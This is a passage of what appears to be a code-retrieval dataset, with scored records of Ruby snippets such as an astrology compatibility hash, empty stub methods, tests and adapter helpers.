"text": "def compatibility_generator(user)\n ranking = 0\n compatiblilty_hash = {\n \"aries\" => {\n favorable: [\"aries\", \"leo\", \"sagittarius\", \"gemini\", \"aquarius\"],\n negative: [\"taurus\", \"virgo\", \"capricorn\", \"cancer\"],\n },\n \"taurus\" => {\n favorable: [\"taurus\", \"virgo\", \"capricorn\", \"cancer\", \"scorpio\", \"pisces\"],\n negative: [\"aries\", \"sagittarius\", \"gemini\", \"aquarius\"],\n },\n \"gemini\" => {\n favorable: [\"aries\", \"leo\", \"sagittarius\", \"gemini\", \"libra\", \"aquarius\"],\n negative: [\"taurus\", \"virgo\", \"capricorn\", \"cancer\", \"scorpio\", \"pisces\"],\n },\n \"cancer\" => {\n favorable: [\"taurus\", \"virgo\", \"capricorn\", \"cancer\", \"scorpio\", \"pisces\"],\n negative: [\"aries\", \"gemini\", \"libra\", \"aquarius\"],\n },\n \"leo\" => {\n favorable: [\"aries\", \"leo\", \"sagittarius\", \"gemini\", \"libra\", \"aquarius\"],\n negative: [],\n },\n \"virgo\" => {\n favorable: [\"taurus\", \"virgo\", \"capricorn\", \"cancer\", \"scorpio\"],\n negative: [\"leo\", \"sagittarius\", \"libra\", \"aquarius\"],\n },\n \"libra\" => {\n favorable: [\"aries\", \"leo\", \"sagittarius\", \"gemini\", \"libra\", \"aquarius\"],\n negative: [\"virgo\", \"cancer\", \"scorpio\", \"pisces\"],\n },\n \"scorpio\" => {\n favorable: [\"taurus\", \"virgo\", \"capricorn\", \"cancer\", \"scorpio\", \"pisces\"],\n negative: [\"aries\", \"gemini\", \"libra\"],\n },\n \"sagittarius\" => {\n favorable: [\"aries\", \"leo\", \"sagittarius\", \"libra\", \"aquarius\"],\n negative: [\"taurus\", \"virgo\", \"capricorn\", \"scorpio\"],\n },\n \"capricorn\" => {\n favorable: [\"taurus\", \"virgo\", \"capricorn\", \"cancer\", \"scorpio\", \"pisces\"],\n negative: [\"aries\", \"leo\", \"sagittarius\", \"libra\", \"aquarius\"],\n },\n \"aquarius\" => {\n favorable: [\"aries\", \"sagittarius\", \"gemini\", \"libra\", \"aquarius\"],\n negative: [\"taurus\", \"capricorn\", \"cancer\", \"scorpio\", \"pisces\"],\n },\n \"pisces\" => {\n favorable: [\"taurus\", \"capricorn\", \"cancer\", \"scorpio\", \"pisces\"],\n negative: [\"gemini\"],\n },\n }\n # if compatiblilty_hash[user.sun]\n # ranking += 1\n # elsif compatiblilty_hash[user.sun].negative.include?(sun)\n # ranking -= 1\n # end\n ranking = compatiblilty_hash[user.sun]\n end",
"title": ""
},
{
"docid": "334240d22c3d5bd0b2bbbcd882626810",
"score": "0.53918743",
"text": "def needed?; end",
"title": ""
},
{
"docid": "3e25c73b486f526d0cd9d0869ca6964b",
"score": "0.5389321",
"text": "def scram_compare_value\n 'default-holder'\n end",
"title": ""
},
{
"docid": "fbac5c15ddddc8e7c4aff7dbbc2d360d",
"score": "0.5382953",
"text": "def best_match\r\n avail = versions\r\n cur = Gem::Version.new(RUBY_VERSION)\r\n avail.each do |v|\r\n return v if Gem::Version.new(v) <= cur\r\n end\r\n avail.last\r\n end",
"title": ""
},
{
"docid": "0030a693bff4d68bbada3ed4feb95e9b",
"score": "0.53203076",
"text": "def dominant_octopus(fish)\n dominant_octopus_helper(fish).first\nend",
"title": ""
},
{
"docid": "1092faa4d5d26590758b50f2fd280257",
"score": "0.5287445",
"text": "def winners\n case self.algorithm\n when \"majority\" then majority\n # and so on...\n else\n majority\n end\n end",
"title": ""
},
{
"docid": "40ba36ef5bb45ebc29ece43ad379653c",
"score": "0.5265813",
"text": "def possible name ; end",
"title": ""
},
{
"docid": "6e6891d187cd127b8bc7e632ec0b2d50",
"score": "0.52657026",
"text": "def unitary?; end",
"title": ""
},
{
"docid": "ac376300f000603568c56235135951a3",
"score": "0.52639884",
"text": "def viable?; end",
"title": ""
},
{
"docid": "ac376300f000603568c56235135951a3",
"score": "0.52639884",
"text": "def viable?; end",
"title": ""
},
{
"docid": "508547c991f7cb1526e4dbbd20e1286c",
"score": "0.5255838",
"text": "def best\n owner_suggested || largest\n end",
"title": ""
},
{
"docid": "508547c991f7cb1526e4dbbd20e1286c",
"score": "0.5255838",
"text": "def best\n owner_suggested || largest\n end",
"title": ""
},
{
"docid": "0a82c95f0669e991752144c94d48fc77",
"score": "0.52528644",
"text": "def compare; end",
"title": ""
},
{
"docid": "1138e62a54a86c166a5062f49579e1e3",
"score": "0.52364105",
"text": "def hint; end",
"title": ""
},
{
"docid": "2ff5db26c0f556be7218349a897d5a9e",
"score": "0.5236312",
"text": "def search_strategy\n if SpecQuery::Grep.available?\n SpecQuery::Grep\n else\n puts \"not implemented, sorry\"\n exit 1\n end\n end",
"title": ""
},
{
"docid": "451169ce5f006ab94adf436429a26054",
"score": "0.51930153",
"text": "def suggested_strictness; end",
"title": ""
},
{
"docid": "4951a7a66c791101d4aeb2b1a770866a",
"score": "0.5188777",
"text": "def suggest()\n end",
"title": ""
},
{
"docid": "a047a7c1d11f0bd6518217d0669675a8",
"score": "0.5184305",
"text": "def find_first_among_best(best_entries)\n # val is lower preference than others\n # variables are usually lower case so normally there are no conflicts\n # but constans also start with capital letter, in such cases give \n # preference to non-val\n non_val_entries = best_entries.select do |jump_entry|\n jump_entry.regex.match(/\\bval\\b/).nil?\n end\n if non_val_entries.empty?\n best_entries.first\n else\n non_val_entries.first\n end\n end",
"title": ""
},
{
"docid": "a4694eb88a6d0c2a9b6cd87bcc8800c9",
"score": "0.5179181",
"text": "def algorithm=(_); end",
"title": ""
},
{
"docid": "495e85dedd96465e089b49b3b700b0f0",
"score": "0.5177655",
"text": "def ambiguous?; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.51664793",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.51664793",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.51664793",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.51664793",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.51664793",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.51664793",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "3212b225eadc14953839d966ff7a6737",
"score": "0.5149591",
"text": "def worst_vendor\n end",
"title": ""
},
{
"docid": "5e9a1062d7da020dbcb6bf79c8d4bd71",
"score": "0.51490545",
"text": "def default_lookup; end",
"title": ""
},
{
"docid": "5e9a1062d7da020dbcb6bf79c8d4bd71",
"score": "0.51490545",
"text": "def default_lookup; end",
"title": ""
},
{
"docid": "d63f88123e5a888ac2a1e979aabd21ee",
"score": "0.5148508",
"text": "def generate_comparaison?() nil end",
"title": ""
},
{
"docid": "9693715f078d74c20b0d2475ac255287",
"score": "0.51261824",
"text": "def preferred_types(supported_types); end",
"title": ""
},
{
"docid": "18a8587e19422db43c37729df428e984",
"score": "0.5123323",
"text": "def sth(opt)\n end",
"title": ""
},
{
"docid": "537156e77d5aa52e38a1b9027b9d3380",
"score": "0.5115476",
"text": "def scholarly_prioritized_name(all_names = prioritized_names)\n return nil if all_names.empty?\n latin_id = WritingSystem.get_by_code('latin').id\n first_name = all_names.first \n case first_name.language.code\n # language=tib: SHOW writing_systems=latn & orthographic_systems=thl.ext.wyl.translit\n when 'bod'\n name = HelperMethods.find_name_for_writing_and_orthographic_system(all_names, latin_id, OrthographicSystem.get_by_code('thl.ext.wyl.translit').id)\n # language=nep: SHOW writing_systems=latn & orthographic_systems=indo.standard.translit\n # language=hin: SHOW writing_systems=latn & orthographic_systems=indo.standard.translit\n when 'nep', 'hin'\n name = HelperMethods.find_name_for_writing_and_orthographic_system(all_names, latin_id, OrthographicSystem.get_by_code('indo.standard.translit').id)\n\n # language=dzo: Right now we mostly have only the latin version of these names, which is marked as original. That is handled by popular view.\n # Later we will get the writing system=dzongkha or writing system=tibt version, and then this latin version will be demoted to a derivative of those dzongkha script names with writing system=latn, and orthographic_systems=thl.ext.wyl.translit\n # The new rule would look like this:\n # name = HelperMethods.find_name_for_writing_and_phonetic_system(all_names, latin_id, OrthographicSsytem.get_by_code('thl.ext.wyl.translit').id) \n \n when 'unk'\n # language=unk; take in this order of preference, writing system=latn , original if its there,\n name = first_name if first_name.writing_system_id == latin_id\n return name if !name.nil?\n # and otherwise orthographic_systems=thl.ext.wyl.translit,\n name = HelperMethods.find_name_for_writing_and_orthographic_system(all_names, latin_id, OrthographicSystem.get_by_code('thl.ext.wyl.translit').id)\n return name if !name.nil?\n # pinyin\n name = HelperMethods.find_name_for_writing_and_phonetic_system(all_names, latin_id, PhoneticSystem.get_by_code('pinyin.transcrip').id)\n # orthographic_systems=indo_standard_translit\n name = HelperMethods.find_name_for_writing_and_orthographic_system(all_names, latin_id, OrthographicSystem.get_by_code('indo.standard.translit').id) if name.nil?\n end\n return name\n end",
"title": ""
},
{
"docid": "f2ea89505c5fcc75ff47d0189f518405",
"score": "0.51034886",
"text": "def test_rubyists\n\t\trefute_nil(@rubyists)\n\t\tassert_kind_of(Rubyist, @rubyists)\n\tend",
"title": ""
},
{
"docid": "709318613e603554beaffea15c90b6a8",
"score": "0.50948095",
"text": "def stable?; end",
"title": ""
},
{
"docid": "709318613e603554beaffea15c90b6a8",
"score": "0.50948095",
"text": "def stable?; end",
"title": ""
},
{
"docid": "affe4000a22435d8cbe72ad52b581488",
"score": "0.5092455",
"text": "def sicel_workmanlike_pyridinize(thinking_preoral)\n end",
"title": ""
},
{
"docid": "983a5b9de63b609981f45a05ecc2741f",
"score": "0.50837535",
"text": "def fallbacks=(_arg0); end",
"title": ""
},
{
"docid": "979b8c2bd77dc42693ba9a6a03001299",
"score": "0.5080446",
"text": "def fallbacks; end",
"title": ""
},
{
"docid": "979b8c2bd77dc42693ba9a6a03001299",
"score": "0.5080446",
"text": "def fallbacks; end",
"title": ""
},
{
"docid": "0b093c76a0b4d3aac5a8d7ab13125523",
"score": "0.507883",
"text": "def best( from = nil )\n return @order.first if from.nil?\n \n best = from.first\n ratio = 0.0\n \n from.each do |language|\n if @ratios.member?(language) && @ratios[language] > ratio then\n best = language\n end\n end\n \n return best\n end",
"title": ""
},
{
"docid": "b30ce69fe9c0c18bb270f9accda1c705",
"score": "0.5077085",
"text": "def find_highlevel_inheritance current_best, class_list, resource\n class_list.each{|resource|\n resource.find_direct_superclasses.each{|uri|\n @classResources[uri] ||= Jekyll::JekyllRdf::Drops::RdfResourceClass.new(RDF::URI(uri))\n @classResources[uri].path = resource\n } if resource.base\n }\n # this is valnuable to cyclic inheritance\n while(class_list.include?(current_best.path))\n slice = class_list.index(current_best)\n # parent alternatives are no real alternatives\n class_list.slice!(slice) unless slice.nil?\n current_best = current_best.path\n end\n return consistence_templates(current_best, class_list, resource) unless class_list.empty?\n return current_best\n end",
"title": ""
},
{
"docid": "283d2d8a175a23ba511d1ccf12ee4617",
"score": "0.50758255",
"text": "def scrabble_scorer(word)\n # correct this code to pass all specs\n nil\nend",
"title": ""
},
{
"docid": "1382081b79122850b3f82e2c5bc88abe",
"score": "0.5073548",
"text": "def bet_one(_min_stake)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "7aa39cb262608d03aaf8983be33e8912",
"score": "0.5067818",
"text": "def find(testrails, ruby)\n bin = AWDWR::config(testrails, ruby.gsub('.',''))['ruby']['bin']\n pattern = Regexp.new(bin.sub(/^ruby-/,'').sub(/\\*$/,'\\d'))\n ruby = `rbenv versions --bare`.lines.map(&:strip).grep(pattern).\n sort(&RELEASE_COMPARE).last\n end",
"title": ""
},
{
"docid": "2319fb74fea9d084a6d469e84693b4de",
"score": "0.5066224",
"text": "def harvest?;end",
"title": ""
},
{
"docid": "d26d678ea0276ed1889547911686dc2e",
"score": "0.50645936",
"text": "def rubbishness(name); end",
"title": ""
},
{
"docid": "d26d678ea0276ed1889547911686dc2e",
"score": "0.50645936",
"text": "def rubbishness(name); end",
"title": ""
},
{
"docid": "7aca8e9ffa8af92b65b802b222a0d39c",
"score": "0.5058294",
"text": "def vary?; end",
"title": ""
},
{
"docid": "ef9c13115603635ba26b46efe7c30321",
"score": "0.5057608",
"text": "def preferred_canonical\n if place_1.image.file? && !place_2.image.file? #If one has an image, that's better\n place_1\n elsif place_2.image.file? && !place_1.image.file?\n place_2\n elsif place_1.wishlist_count.to_i > place_2.wishlist_count.to_i # If one is more wishlisted, that's better\n place_1\n elsif place_2.wishlist_count.to_i > place_1.wishlist_count.to_i\n place_2\n elsif place_1.id < place_2.id # If one is older, that's better\n place_1\n else\n place_2\n end\n end",
"title": ""
},
{
"docid": "17b2dd54c42435e574b1ccc6e4784ecf",
"score": "0.5048888",
"text": "def prereqs; end",
"title": ""
},
{
"docid": "fa98a4a89e2637fb41358ae79fe836ed",
"score": "0.5028823",
"text": "def worst\n top\n end",
"title": ""
},
{
"docid": "0a39799e76643367f1b6bfac65569895",
"score": "0.5026113",
"text": "def used?; end",
"title": ""
},
{
"docid": "017f635099b69565fba17679f89b0847",
"score": "0.50189644",
"text": "def algorithm_choose!(metadata: nil)\n variant = parent.choose!(metadata: metadata)\n variants.find { |var| var == variant.name }\n end",
"title": ""
},
{
"docid": "e8fc3eb9dbf1e360421af3bbe4af6ebc",
"score": "0.5018502",
"text": "def dominant_octopus(fish)\n prc = Proc.new { |x, y| y.length <=> x.length }\n fish.mergesort(&prc)[0]\nend",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.5014316",
"text": "def used; end",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.5014316",
"text": "def used; end",
"title": ""
},
{
"docid": "73bde02566affbf3daa77cd752553fff",
"score": "0.5009696",
"text": "def nonofficial_tonetics_arsenhemol()\n concyclically_snipefish_unifocal()\n end",
"title": ""
},
{
"docid": "4a5bb606c9e70e8f1519901c2cff093e",
"score": "0.5008885",
"text": "def target_falls_in_lib?(str); end",
"title": ""
},
{
"docid": "8129ce85c135040fea5ce836ac64c45e",
"score": "0.50081617",
"text": "def test_example_from_pubgrub_article\n icons = Galette::Specification.new('icons') do |s|\n s.version '2.0.0'\n s.version '1.0.0'\n end\n dropdown = Galette::Specification.new('dropdown') do |s|\n 3.downto(0).each do |i|\n s.version \"2.#{i}.0\", requirements: [icons.requirement_semver('~> 2.0')]\n end\n s.version '1.8.0', requirements: [icons.requirement_semver('~> 1.0')]\n end\n menu = Galette::Specification.new('menu') do |s|\n 5.downto(1).each do |i|\n s.version \"1.#{i}.0\", requirements: [dropdown.requirement_semver('~> 2.0')]\n end\n s.version '1.0.0'\n end\n requirements = [\n menu.requirement_semver,\n icons.requirement_semver('< 2')\n ]\n resolution = Galette::Resolution.new([icons, dropdown, menu], requirements).resolve\n end",
"title": ""
},
{
"docid": "44a571c066bfaa36c2f1b9b13ffa860f",
"score": "0.49848026",
"text": "def ask_or_reproduce\n\n\tend",
"title": ""
},
{
"docid": "bd608b12df46cb57a7dca73fb21f8648",
"score": "0.49678487",
"text": "def ruby_python?(candidate)\n if candidate[:languages].include?('Ruby') || candidate[:languages].include?('Python')\n true\n else\n false\n end\nend",
"title": ""
},
{
"docid": "67f34045b2094c7ca98821975183f229",
"score": "0.4963485",
"text": "def coders_by_name; end",
"title": ""
},
{
"docid": "67f34045b2094c7ca98821975183f229",
"score": "0.4963485",
"text": "def coders_by_name; end",
"title": ""
},
{
"docid": "255314ccbf4f7aedb5cc706702642f77",
"score": "0.4960559",
"text": "def priority; end",
"title": ""
},
{
"docid": "255314ccbf4f7aedb5cc706702642f77",
"score": "0.4960559",
"text": "def priority; end",
"title": ""
},
{
"docid": "255314ccbf4f7aedb5cc706702642f77",
"score": "0.4960559",
"text": "def priority; end",
"title": ""
},
{
"docid": "4ddc67ad9b527d782a2cf50c84a4507a",
"score": "0.49566343",
"text": "def test_rubyist_start_1\n game1 = Game.new\n assert_output (\"Rubyist #1 starting in Enumerable Canyon.\\n\") { game1.print_rubyist_start(1) }\n end",
"title": ""
},
{
"docid": "9f407ba9aef3ed0650078efe4b7af3d2",
"score": "0.49556705",
"text": "def preferred_source_for?(cookbook_name)\n universe_graph.include?(cookbook_name)\n end",
"title": ""
},
{
"docid": "ac80d3e13129b8a59c86333547319258",
"score": "0.49549377",
"text": "def getBestKey\n # gfak\t\t\t\t\t# Take the first non guessed variable in the hash\n # glck\t\t\t\t\t# Take the least constrained variable in the hash\n # gkmid \t\t\t\t# Take the variable which has the minimum domain size\n mdr\t\t\t\t\t\t# Take the minimum domain, then random\n # gkmad\t\t\t\t# Take the variable which has the maximum domain size\n # gmck\t\t\t\t\t# Take the most constrained variable in the hash\n # gkmidAmc\t\t\t# Combination of gkmid and gmck \n end",
"title": ""
},
{
"docid": "25bbde8c40768c727523c8ceb9095f28",
"score": "0.495407",
"text": "def test_builtin_features\n cache = Cache.new(NullCache, [])\n assert_equal false, cache.find(\"thread\")\n assert_equal false, cache.find(\"thread.rb\")\n assert_equal false, cache.find(\"enumerator\")\n\n if truffleruby?\n assert_equal false, cache.find(\"enumerator.rb\")\n else\n assert_equal false, cache.find(\"enumerator.so\")\n if RUBY_PLATFORM =~ /darwin/\n assert_equal false, cache.find(\"enumerator.bundle\")\n else\n assert_same FALLBACK_SCAN, cache.find(\"enumerator.bundle\")\n end\n end\n\n bundle = RUBY_PLATFORM =~ /darwin/ ? \"bundle\" : \"so\"\n\n # These are not present in TruffleRuby but that means they will still return falsey.\n refute(cache.find(\"thread.#{bundle}\"))\n refute(cache.find(\"enumerator.rb\"))\n refute(cache.find(\"encdb.#{bundle}\"))\n end",
"title": ""
},
{
"docid": "1c0ca1a09080ddcc691030edfddf7f1d",
"score": "0.4951846",
"text": "def program\n case benefit_type\n when \"voc_rehab\"\n \"vre\"\n when \"vha\"\n \"medical\"\n when \"nca\"\n \"burial\"\n else\n benefit_type\n end\n end",
"title": ""
},
{
"docid": "bded19af6b25b168c0a58616bb529f9e",
"score": "0.49493304",
"text": "def comparison_method?; end",
"title": ""
},
{
"docid": "bded19af6b25b168c0a58616bb529f9e",
"score": "0.49493304",
"text": "def comparison_method?; end",
"title": ""
},
{
"docid": "5ad3aae23031e7d9e910d562cb98a114",
"score": "0.49477065",
"text": "def find ; end",
"title": ""
},
{
"docid": "38b86ba57ec56f2d5a308862ec2ab332",
"score": "0.49459293",
"text": "def suggest(anything)\n if anything.is_a? Fixnum\n suggest_using_changelists anything \n end\n \n end",
"title": ""
},
{
"docid": "fa15654c808385bd6fc9f5498029453d",
"score": "0.49454758",
"text": "def guess(info = T.unsafe(nil), &fallback); end",
"title": ""
},
{
"docid": "5b19cf88e3f3927bf5b7a5d9f67f94d4",
"score": "0.49442446",
"text": "def mutt_version vers=nil #{{{\n vers ||= mutt_verbose_version[/\\AMutt\\s+([\\d.]+)(?:\\+\\d+)?\\s/,1]\n vers = vers.split('.').map{ |x| x.to_i }\n vers.extend Comparable\nend",
"title": ""
}
] |
08053b355c5da4a244a0f01716c079c1
|
Generates a new Lita adapter.
|
[
{
"docid": "b44d74a6a17c052bec825db39002ba82",
"score": "0.51121104",
"text": "def adapter(name)\n config = generate_config(name, \"adapter\")\n generate_templates(config)\n post_messages(config)\n end",
"title": ""
}
] |
[
{
"docid": "b67b069aa59db4e159b46811743f9ece",
"score": "0.62656707",
"text": "def connect_adapter()\n @adapter=\"Lolita::Adapter::#{self.adapter_name.to_s.camelize}\".constantize.new(self)\n end",
"title": ""
},
{
"docid": "68efb777315657402d26a53a0c5179fa",
"score": "0.5765135",
"text": "def use(new_adapter); end",
"title": ""
},
{
"docid": "17ff81f5f8d5ee66c3e4096f9e124fcc",
"score": "0.5593599",
"text": "def with_adapter(new_adapter); end",
"title": ""
},
{
"docid": "f69ab47f6dad54a033e82bbca9b66a4d",
"score": "0.55900985",
"text": "def new(*args)\n adaptor_klass.new(*args)\n end",
"title": ""
},
{
"docid": "91f6f05ca1ad1f649b3562e373dc18a0",
"score": "0.5527022",
"text": "def initialize(adapter); end",
"title": ""
},
{
"docid": "45821ef8127fb63fec41fad6019df97a",
"score": "0.53596836",
"text": "def adapter(type, &block)\n self.class.new(registry, adapter: type, &block)\n end",
"title": ""
},
{
"docid": "fb26c7ad205460690e5f3d91431625ca",
"score": "0.5297128",
"text": "def adapter; end",
"title": ""
},
{
"docid": "fb26c7ad205460690e5f3d91431625ca",
"score": "0.5297128",
"text": "def adapter; end",
"title": ""
},
{
"docid": "fb26c7ad205460690e5f3d91431625ca",
"score": "0.5297128",
"text": "def adapter; end",
"title": ""
},
{
"docid": "fb26c7ad205460690e5f3d91431625ca",
"score": "0.5297128",
"text": "def adapter; end",
"title": ""
},
{
"docid": "fb26c7ad205460690e5f3d91431625ca",
"score": "0.5297128",
"text": "def adapter; end",
"title": ""
},
{
"docid": "087c4eda5a517a6e5d7c4e347d4b1ddb",
"score": "0.52874047",
"text": "def generate(adapter)\n generated[adapter.class] ||= begin\n helpers = AdapterFactory.adapter_helpers(adapter)\n Class.new(self) do\n helpers.each { |h| include h }\n end\n end\n end",
"title": ""
},
{
"docid": "c655df59f2d719bf1b471cec2eff8f5d",
"score": "0.5250101",
"text": "def adapter=(new_adapter); end",
"title": ""
},
{
"docid": "eb5cf101f7c03db8adffb22ad6e66096",
"score": "0.5241504",
"text": "def copy_adapters\n template \"../../payu_rails/adapters/base_adapter.rb\", \"app/models/payu_rails/adapters/base_adapter.rb\"\n template \"../../payu_rails/adapters/item_adapter.rb\", \"app/models/payu_rails/adapters/item_adapter.rb\"\n template \"../../payu_rails/adapters/order_adapter.rb\", \"app/models/payu_rails/adapters/order_adapter.rb\"\n template \"../../payu_rails/adapters/product_adapter.rb\", \"app/models/payu_rails/adapters/product_adapter.rb\"\n template \"../../payu_rails/adapters/shipping_cost_adapter.rb\", \"app/models/payu_rails/adapters/shipping_cost_adapter.rb\"\n template \"../../payu_rails/adapters/shopping_cart_adapter.rb\", \"app/models/payu_rails/adapters/shopping_cart_adapter.rb\"\n template \"../../payu_rails/adapters/unit_price_adapter.rb\", \"app/models/payu_rails/adapters/unit_price_adapter.rb\"\n end",
"title": ""
},
{
"docid": "c57741a5a2a1270ad0d70cb5f0146794",
"score": "0.51823795",
"text": "def new\n @infrastructures = current_user.infrastructures.all\n @adapters = { \"Choose\" => 0 }\n @infrastructures.each { |inf| @adapters[inf.name] = inf.id } if @infrastructures\n end",
"title": ""
},
{
"docid": "d6f28bfee606778047a5d737c5072f0a",
"score": "0.514319",
"text": "def generate\n return ETL::Batch.new\n end",
"title": ""
},
{
"docid": "4b1fb71f9a23c8cf8bebdb9326ddce64",
"score": "0.5101881",
"text": "def generate\n conf = {\n port: datastore['LPORT']\n }\n\n generate_bind_tcp(conf)\n end",
"title": ""
},
{
"docid": "812756c9336d2324504089e789af8ebb",
"score": "0.5092572",
"text": "def generate api\n @generator.new(api).generate\n end",
"title": ""
},
{
"docid": "2c4e7dd603dfe21325c0d67ee4f8d404",
"score": "0.507471",
"text": "def adapter=(adapter); end",
"title": ""
},
{
"docid": "a234343bca354cd52a24058749863a9f",
"score": "0.5011714",
"text": "def initialize(orm_class,&block)\n @klass = orm_class\n @dbp = Lolita::DBI::Base.create(orm_class)\n @dbi = @dbp\n block_given? ? self.instance_eval(&block) : self.generate!\n end",
"title": ""
},
{
"docid": "9a15ab862c550e62bb21932a6a4dcc58",
"score": "0.4984859",
"text": "def initialize(adapter, opts={})\n @adapter = adapter\n @opts = opts\n end",
"title": ""
},
{
"docid": "9a15ab862c550e62bb21932a6a4dcc58",
"score": "0.4984859",
"text": "def initialize(adapter, opts={})\n @adapter = adapter\n @opts = opts\n end",
"title": ""
},
{
"docid": "134ae5df2146878bd18dbbfbe46dfebf",
"score": "0.4984095",
"text": "def adapter\n setup! unless setup?\n\n @adapter\n end",
"title": ""
},
{
"docid": "fda460c59e7187950f40acebcf02354f",
"score": "0.49690095",
"text": "def initialize(ida, offset)\n\t\t@ida = ida\n\t\t@offset = offset\n\t\t@helper = create_helper(ida)\n\tend",
"title": ""
},
{
"docid": "d6729fbdd6aa9850382ab661cbc27e43",
"score": "0.49579093",
"text": "def adapter(name = nil, options = {})\n return @adapter if name.nil?\n @adapter_name = name\n @adapter_opts = options\n @adapter = RDFMapper::Adapters.register(name, self, options)\n end",
"title": ""
},
{
"docid": "cf5913e2eba175cc7686667b9ec8fc29",
"score": "0.49558675",
"text": "def adapter( type = :file, *args, &block )\n options = [@options, *args].inject( Hash.new ) do |h, c|\n h.merge( c.is_a?(String) ? {:filename => c} : c )\n end\n\n @adapters << Yell::Adapters.new( type, options, &block )\n end",
"title": ""
},
{
"docid": "cf5913e2eba175cc7686667b9ec8fc29",
"score": "0.49558675",
"text": "def adapter( type = :file, *args, &block )\n options = [@options, *args].inject( Hash.new ) do |h, c|\n h.merge( c.is_a?(String) ? {:filename => c} : c )\n end\n\n @adapters << Yell::Adapters.new( type, options, &block )\n end",
"title": ""
},
{
"docid": "ec95c515aaef0b53aea48690756ae740",
"score": "0.49344292",
"text": "def generate\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "6d7018adfc41cc661fcfa33f4d390ddd",
"score": "0.49285284",
"text": "def generate!(klazz, package = nil)\n fields, accessors = [], []\n\n klazz.fields.each_pair do |name, field|\n camel = name.to_s.camel_case\n fields << \" private #{field.java_type} #{name};\"\n accessors << \" public void set#{camel}(#{field.java_type} #{name}) { this.#{name} = #{name}; }\"\n accessors << \" public #{field.java_type} get#{camel}() { return this.#{name}; }\"\n end\n\n package = \"package #{package}.java;\" if package\n\n java = <<-JAVA\n#{package}\n\nimport com.jrodb.JrodbModel;\n\npublic class #{klazz} extends JrodbModel {\n public #{klazz}() {}\n\n#{fields.join(\"\\n\")}\n\n#{accessors.join(\"\\n\")}\n\n#{klazz.enhancement}\n\n}\n JAVA\n end",
"title": ""
},
{
"docid": "7443c8e7e6e6e2dfd8f9fe5bf1266d1d",
"score": "0.49238777",
"text": "def use(new_adapter)\n SEMAPHORE.synchronize do\n @adapter = load_adapter(new_adapter)\n end\n end",
"title": ""
},
{
"docid": "0a40ffcc719a1559f9a4c49af0f26fbc",
"score": "0.4919027",
"text": "def use(new_adapter)\n @adapter = load_adapter(new_adapter)\n end",
"title": ""
},
{
"docid": "9b14f5271acf8ddf4b5a05e663042dbe",
"score": "0.49151626",
"text": "def adapter(type, &block)\n @connection_adapter = build_adapter(type, &block)\n end",
"title": ""
},
{
"docid": "c972d4c6bf1d0b18c796e9e212edee8f",
"score": "0.49079856",
"text": "def database_adapter_for(db_config, *arguments); end",
"title": ""
},
{
"docid": "d39eeaeb9835b445ee40acd8884a0c30",
"score": "0.49051538",
"text": "def create(_, _)\n driver = ::Unobtainium::Kramdown::Driver.new\n return driver\n end",
"title": ""
},
{
"docid": "d58be31b7fbfd0e3e97a4e812abc3575",
"score": "0.48756218",
"text": "def prepare_adapter(base)\n base.class_eval do\n before do\n registry.register_adapter(:test, Lita::Adapters::Test)\n registry.config.robot.adapter = :test\n end\n end\n end",
"title": ""
},
{
"docid": "0bc439e5a5e9522fa35145756204acc6",
"score": "0.48424798",
"text": "def engine=(new_adapter); end",
"title": ""
},
{
"docid": "a3190e2b39e4888d55d92dc1a0cadf95",
"score": "0.4840226",
"text": "def to_adl(buffer = \"\")\n Stamina::ADL.print_automaton(self, buffer)\n end",
"title": ""
},
{
"docid": "63f6759e0993b430282199af47ba5cf9",
"score": "0.483752",
"text": "def adapter_name\n 'Hana'\n end",
"title": ""
},
{
"docid": "0519cbbde6dac6ab173f3d989989ee9c",
"score": "0.48312703",
"text": "def build_lyft_itineraries\n return [] unless @available_services[:lyft] # Return an empty array if no taxi services are available\n\n cost, price_quote_id = @lyft_ambassador.cost('lyft')\n\n # Don't return LYFT results if there are none.\n return [] if cost.nil? \n\n new_itineraries = @available_services[:lyft].map do |svc|\n Itinerary.new(\n service: svc,\n trip_type: :lyft,\n cost: cost,\n transit_time: @router.get_duration(:lyft)\n )\n end\n\n new_itineraries.map do |itin|\n LyftExtension.new(\n itinerary: itin,\n price_quote_id: price_quote_id\n )\n end\n\n new_itineraries\n\n end",
"title": ""
},
{
"docid": "0eaf4a7aec509199360218f8e85eb5c8",
"score": "0.48198014",
"text": "def random_adapter stream=1\n\n ra = RandomAdapter.new\n ra.connect_stream stream\n\n end",
"title": ""
},
{
"docid": "0c87dc41579b5e32832a75a3fe6d7847",
"score": "0.48137584",
"text": "def default_adapter; end",
"title": ""
},
{
"docid": "0c87dc41579b5e32832a75a3fe6d7847",
"score": "0.48137584",
"text": "def default_adapter; end",
"title": ""
},
{
"docid": "0c87dc41579b5e32832a75a3fe6d7847",
"score": "0.48137584",
"text": "def default_adapter; end",
"title": ""
},
{
"docid": "576a1a758ec26a9597711afb6051f078",
"score": "0.48080227",
"text": "def create_wlan(wlan_count)\n controller_array = get_table('wlan_devices').last(wlan_count)\n scaffold = 'wlans'\n payload = []\n\n controller_array.each do |controller_object|\n controller_id = controller_object['id'] # SSID must be tied into the ID of the controller\n ssid_name = self.class::SSID_POOL[rand(self.class::SSID_POOL.size)]\n\n payload.push(\n name: ssid_name,\n ssid: ssid_name,\n infrastructure_device: controller_id,\n encryption: 'none',\n authentication: 'none'\n )\n end\n\n create_entry(payload, scaffold)\n end",
"title": ""
},
{
"docid": "0459bcca8be0c16105bc02e20d02a771",
"score": "0.4806306",
"text": "def adapter(name=nil)\n super(name)\n end",
"title": ""
},
{
"docid": "0459bcca8be0c16105bc02e20d02a771",
"score": "0.4806306",
